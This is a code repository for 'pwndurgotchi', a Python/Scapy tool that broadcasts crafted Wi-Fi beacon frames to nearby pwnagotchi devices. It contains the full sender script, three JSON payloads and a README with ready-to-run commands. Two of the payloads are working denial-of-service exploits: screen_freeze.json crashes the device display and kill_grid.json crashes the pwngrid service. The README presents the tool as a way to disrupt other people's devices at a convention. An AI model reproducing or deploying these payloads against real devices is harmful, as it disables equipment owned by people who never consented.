├── .gitignore ├── payloads ├── kill_grid.json ├── calling_card.json └── screen_freeze.json ├── README.md └── pwndurgotchi.py /.gitignore: -------------------------------------------------------------------------------- 1 | data/ -------------------------------------------------------------------------------- /payloads/kill_grid.json: -------------------------------------------------------------------------------- 1 | { 2 | "epoch": 26, 3 | "face": "(X_X)", 4 | "grid_version": "1.10.3", 5 | "identity": {}, 6 | "name": "BigBroDude", 7 | "policy": { 8 | "advertise": true, 9 | "ap_ttl": 396, 10 | "associate": false, 11 | "bond_encounters_factor": 20000, 12 | "bored_num_epochs": 26, 13 | "channels": [1, 2, 3, 4, 5, 6, 7, 8, 9], 14 | "deauth": false, 15 | "excited_num_epochs": 999, 16 | "hop_recon_time": 46, 17 | "max_inactive_scale": 9, 18 | "max_interactions": 19, 19 | "max_misses_for_recon": 9, 20 | "min_recon_time": 24, 21 | "min_rssi": -123, 22 | "recon_inactive_multiplier": 2, 23 | "recon_time": 57, 24 | "sad_num_epochs": 19, 25 | "sta_ttl": 239 26 | }, 27 | "pwnd_run": 1337, 28 | "pwnd_tot": 6119, 29 | "session_id": "36:1d:27:3b:f5:e8", 30 | "timestamp": 1651269560, 31 | "uptime": 1780, 32 | "version": "1.5.5" 33 | } 34 | -------------------------------------------------------------------------------- /payloads/calling_card.json: -------------------------------------------------------------------------------- 1 | { 2 | "epoch": 26, 3 | "face": "(X_X)", 4 | "grid_version": "1.10.3", 5 | "identity": "REPLACE ME", 6 | "name": "BigBroDude", 7 | "policy": { 8 | "advertise": true, 9 | "ap_ttl": 396, 10 | "associate": false, 11 | "bond_encounters_factor": 20000, 12 | "bored_num_epochs": 26, 13 | "channels": [1, 2, 3, 4, 5, 6, 7, 8, 9], 14 | "deauth": false, 15 | "excited_num_epochs": 999, 16 | "hop_recon_time": 46, 17 | "max_inactive_scale": 9, 18 | "max_interactions": 19, 19 | "max_misses_for_recon": 9, 20 | "min_recon_time": 24, 21 | "min_rssi": -123, 22 | "recon_inactive_multiplier": 2, 23 | "recon_time": 57, 24 | "sad_num_epochs": 19, 25 | "sta_ttl": 239 26 | }, 27 | "pwnd_run": 1337, 28 | "pwnd_tot": 6119, 29 | "session_id": "36:1d:27:3b:f5:e8", 30 | "timestamp": 1651269560, 31 | "uptime": 1780, 32 | "version": "1.5.5" 33 | } 34 | -------------------------------------------------------------------------------- /payloads/screen_freeze.json: -------------------------------------------------------------------------------- 1 | { 2 | "epoch": 26, 3 | "face": { "test": 123 }, 4 | "grid_version": "1.10.3", 5 | "identity": "REPLACE ME", 6 | "name": "BigBroDude", 7 | "policy": { 8 | "advertise": true, 9 | "ap_ttl": 396, 10 | "associate": false, 11 | "bond_encounters_factor": 20000, 12 | "bored_num_epochs": 26, 13 | "channels": [1, 2, 3, 4, 5, 6, 7, 8, 9], 14 | "deauth": false, 15 | "excited_num_epochs": 999, 16 | "hop_recon_time": 46, 17 | "max_inactive_scale": 9, 18 | "max_interactions": 19, 19 | "max_misses_for_recon": 9, 20 | "min_recon_time": 24, 21 | "min_rssi": -123, 22 | "recon_inactive_multiplier": 2, 23 | "recon_time": 57, 24 | "sad_num_epochs": 19, 25 | "sta_ttl": 239 26 | }, 27 | "pwnd_run": 1337, 28 | "pwnd_tot": 6119, 29 | "session_id": "36:1d:27:3b:f5:e8", 30 | "timestamp": 1651269560, 31 | "uptime": 1780, 32 | "version": "1.5.5" 33 | } 34 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pwndurgotchi 2 | 3 | ## A pwnagotchi communication and disruption tool written in python. 4 | 5 | Are you tired of pwnagotchi ruining your favorite [Las Vegas convention](https://defcon.org/)? pwndurgotchi can be used to send messages to nearby pwnagotchi and crash different parts of the pwnagotchi software. Tested on the official [pwnagotchi 1.5.5](https://github.com/evilsocket/pwnagotchi) image from evilsocket and a waveshare_2 screen. 6 | 7 | ## Payloads 8 | 9 | ### calling_card.json 10 | 11 | Say hello with a friendly message to all nearby pwnagotchi. You can change the face, name, and pwn counts. Does not crash any service on the pwnagotchi. 12 | 13 | ex: `python pwndurgotchi.py -p ./payloads/calling_card.json -c 10 -v -l 100 -d 2` 14 | 15 | ### screen_freeze.json 16 | 17 | Crash the pwnagotchi screen. Perfect for using right after `calling_card.json`. Doesn't seem to work when using firmware that doesn't display peer faces on the screen. 18 | 19 | ex: `python pwndurgotchi.py -p ./payloads/screen_freeze.json -c 10 -v -l 100 -d 1` 20 | 21 | ### kill_grid.json 22 | 23 | Crash the pwngrid service and interrupt the pwnagotchi main loop. Sending this payload out on a loop should prevent the pwnagotchi from sending out deauth packets and the pwnagotchi should no longer be able to communicate with peers. **Must use the -s option** 24 | 25 | ex: `python pwndurgotchi.py -p ./payloads/kill_grid.json -c 10 -v -l 100 -d 1 -s` 26 | 27 | ## Prerequisites 28 | 29 | 1. A 2.4ghz wifi card in monitor mode (I use airmon-ng to set this up) 30 | 2. The Scapy python library 31 | 32 | I reccomend using kali linux to get this up and running. 33 | 34 | ## Help 35 | 36 | ``` 37 | pwndurgotchi 1.0 38 | 39 | Usage: python pwndurgotchi.py [-p | --payload ] [-i | --interface ] [-c | --count ] 40 | [-s | static_identity] [-d | --delay ] [-l | --loop ] [-v | --verbose] 41 | 42 | -p --payload Path to the JSON payload to send 43 | -i --interface Wireless interface used to send the packets (default wlan0) 44 | -c --count Number of packets to send at a time (default 1) 45 | -s --static_identity Use the static identity in each payload 46 | -d --delay Delay time in between each loop (default 0) 47 | -l --loop Amount of times to loop (default 0) 48 | -v --verbose Print logs during execution 49 | 50 | Requires a wireless interface in monitor mode and scapy 51 | 52 | Payloads: 53 | calling_card.json Sends a custom face & username to all nearby pwnagotchi 54 | kill_grid.json Crashes the pwngrid network on all nearby pwnagotchi 55 | screen_freeze.json Freeze the screen of all nearby pwnagotchi 56 | 57 | Made by BigBroDude6119 58 | ``` 59 | 60 | ## Misc. 61 | 62 | If you find any cool payloads please drop a PR! 63 | -------------------------------------------------------------------------------- /pwndurgotchi.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import json 3 | import random 4 | import getopt 5 | from time import sleep 6 | from hashlib import sha256 7 | from scapy.all import ( 8 | RadioTap, 9 | Dot11FCS, 10 | Dot11Beacon, 11 | Dot11Elt, 12 | Dot11, 13 | sendp, 14 | ) 15 | 16 | 17 | def get_pwn_packet(): 18 | return ( 19 | RadioTap() 20 | / Dot11FCS( 21 | addr1="ff:ff:ff:ff:ff:ff", 22 | addr2="de:ad:be:ef:de:ad", 23 | addr3="be:ef:de:ad:be:ef", 24 | ) 25 | / Dot11Beacon() 26 | ) 27 | 28 | 29 | def set_field_data(elt, data): 30 | elt.setfieldval("ID", 222) 31 | elt.setfieldval("info", data) 32 | elt.setfieldval("len", len(data)) 33 | return elt 34 | 35 | 36 | def get_payload(payload_file_path): 37 | try: 38 | f = open(payload_file_path) 39 | data = json.load(f) 40 | return data 41 | except: 42 | print("Failure to load payload") 43 | 44 | 45 | def load_payload_into_packet(packet, payload_chunks): 46 | beacon_frame = packet[Dot11][Dot11Beacon] 47 | last_elt = beacon_frame 48 | 49 | for i in range(0, len(payload_chunks)): 50 | chunk = payload_chunks[i] 51 | elt = Dot11Elt() 52 | set_field_data(elt, chunk) 53 | last_elt.add_payload(elt) 54 | last_elt = elt 55 | 56 | 57 | def get_random_identity(): 58 | num = random.random() 59 | return sha256(str(num).encode("utf-8")).hexdigest() 60 | 61 | 62 | def create_pwn_packet(payload_file_path, use_random_identity=True): 63 | payload = get_payload(payload_file_path) 64 | if use_random_identity: 65 | payload["identity"] = get_random_identity() 66 | 67 | payload_bytes = json.dumps(payload).encode() 68 | payload_chunks = [ 69 | payload_bytes[i : i + 255] for i in range(0, len(payload_bytes), 255) 70 | ] 71 | 72 | packet = get_pwn_packet() 73 | load_payload_into_packet(packet, payload_chunks) 74 | 75 | return packet 76 | 77 | 78 | def send_payload( 79 | payload_file_path, 80 | use_random_identity=True, 81 | play_count=10, 82 | iface="wlan0", 83 | sleep_time=0, 84 | loop_count=0, 85 | verbose=False, 86 | ): 87 | if loop_count > 0: 88 | for i in range(0, loop_count): 89 | packet = create_pwn_packet(payload_file_path, use_random_identity) 90 | if verbose == True: 91 | packet.show() 92 | sendp(packet, loop=0, count=play_count, iface=iface, verbose=verbose) 93 | if sleep_time > 0: 94 | sleep(sleep_time) 95 | else: 96 | packet = create_pwn_packet(payload_file_path, use_random_identity) 97 | if verbose == True: 98 | packet.show() 99 | sendp(packet, loop=0, count=play_count, iface=iface, verbose=verbose) 100 | 101 | 102 | def help(): 103 | print("pwndurgotchi 1.0") 104 | print("") 105 | print( 106 | "Usage: python pwndurgotchi.py [-p | --payload ] [-i | --interface ] [-c | --count ]" 107 | ) 108 | print( 109 | "[-s | static_identity] [-d | --delay ] [-l | --loop ] [-v | --verbose]" 110 | ) 111 | print("") 112 | print("-p --payload\t\tPath to the JSON payload to send") 113 | print( 114 | "-i --interface\t\tWireless interface used to send the packets (default wlan0)" 115 | ) 116 | print("-c --count\t\tNumber of packets to send at a time (default 1)") 117 | print("-s --static_identity\tUse the static identity in each payload") 118 | print("-d --delay\t\tDelay time in between each loop (default 0)") 119 | print("-l --loop\t\tAmount of times to loop (default 0)") 120 | print("-v --verbose\t\tPrint logs during execution") 121 | print("") 122 | print("Requires a wireless interface in monitor mode and scapy") 123 | print("") 124 | print("Payloads:") 125 | print("calling_card.json\tSends a custom face & username to all nearby pwnagotchi") 126 | print("kill_grid.json\t\tCrashes the pwngrid network on all nearby pwnagotchi") 127 | print("screen_freeze.json\tFreeze the screen of all nearby pwnagotchi") 128 | print("") 129 | print("Made by BigBroDude6119") 130 | 131 | sys.exit(0) 132 | 133 | 134 | def main(): 135 | payload_file_path = "" 136 | iface = "wlan0" 137 | count = 1 138 | random_identity = True 139 | sleep_time = 0 140 | loop_count = 0 141 | verbose = False 142 | 143 | if not len(sys.argv[1:]): 144 | help() 145 | 146 | try: 147 | opts, _ = getopt.getopt( 148 | sys.argv[1:], 149 | "hp:i:c:sd:l:v", 150 | [ 151 | "help", 152 | "payload", 153 | "interface", 154 | "count", 155 | "static_identity", 156 | "delay", 157 | "loop", 158 | "verbose", 159 | ], 160 | ) 161 | except getopt.GetoptError as err: 162 | print(str(err)) 163 | help() 164 | 165 | for opt, arg in opts: 166 | if opt in ("-h", "--help"): 167 | help() 168 | elif opt in ("-p", "--payload"): 169 | payload_file_path = arg 170 | elif opt in ("-i", "--interface"): 171 | iface = arg 172 | elif opt in ("-c", "--count"): 173 | count = int(arg) 174 | elif opt in ("-s", "--static_identity"): 175 | random_identity = False 176 | elif opt in ("-d", "--delay"): 177 | sleep_time = int(arg) 178 | elif opt in ("-l", "--loop"): 179 | loop_count = int(arg) 180 | elif opt in ("-v", "--verbose"): 181 | verbose = True 182 | 183 | if payload_file_path: 184 | send_payload( 185 | payload_file_path, 186 | random_identity, 187 | count, 188 | iface, 189 | sleep_time, 190 | loop_count, 191 | verbose, 192 | ) 193 | else: 194 | print("Payload path is required") 195 | help() 196 | 197 | 198 | main() 199 | --------------------------------------------------------------------------------